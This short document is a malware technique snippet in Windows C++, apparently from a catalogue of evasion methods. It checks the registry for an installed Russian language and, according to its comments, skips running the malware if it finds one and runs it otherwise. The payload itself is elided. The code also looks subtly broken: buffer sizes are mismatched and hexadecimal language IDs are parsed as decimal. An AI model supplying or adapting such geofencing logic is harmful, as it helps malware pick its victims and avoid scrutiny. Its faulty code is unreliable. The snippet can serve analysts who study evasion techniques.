Windows C++ / Geofencing

Code

#include <Windows.h>
#include <winreg.h>

#define LANG_KEY "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language"
#define RUSSIAN_LCID 1049

// Check if the specified LCID is installed on the system
bool IsLanguageInstalled(LCID lcid)
{
  HKEY hKey;
  if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, LANG_KEY, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
  {
    DWORD dwIndex = 0;
    WCHAR szValueName[32];
    DWORD dwValueNameLen = sizeof(szValueName);
    while (RegEnumValue(hKey, dwIndex++, szValueName, &dwValueNameLen, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
    {
      LCID lcidValue = _wtoi(szValueName);
      if (lcidValue == lcid)
      {
        RegCloseKey(hKey);
        return true;
      }
    }
    RegCloseKey(hKey);
  }
  return false;
}

int main()
{
  if (IsLanguageInstalled(RUSSIAN_LCID))
  {
    // Russian language is installed, do not run malware
    return 0;
  }
  else
  {
    // Russian language is not installed, run malware
    // ...
  }
  return 0;
}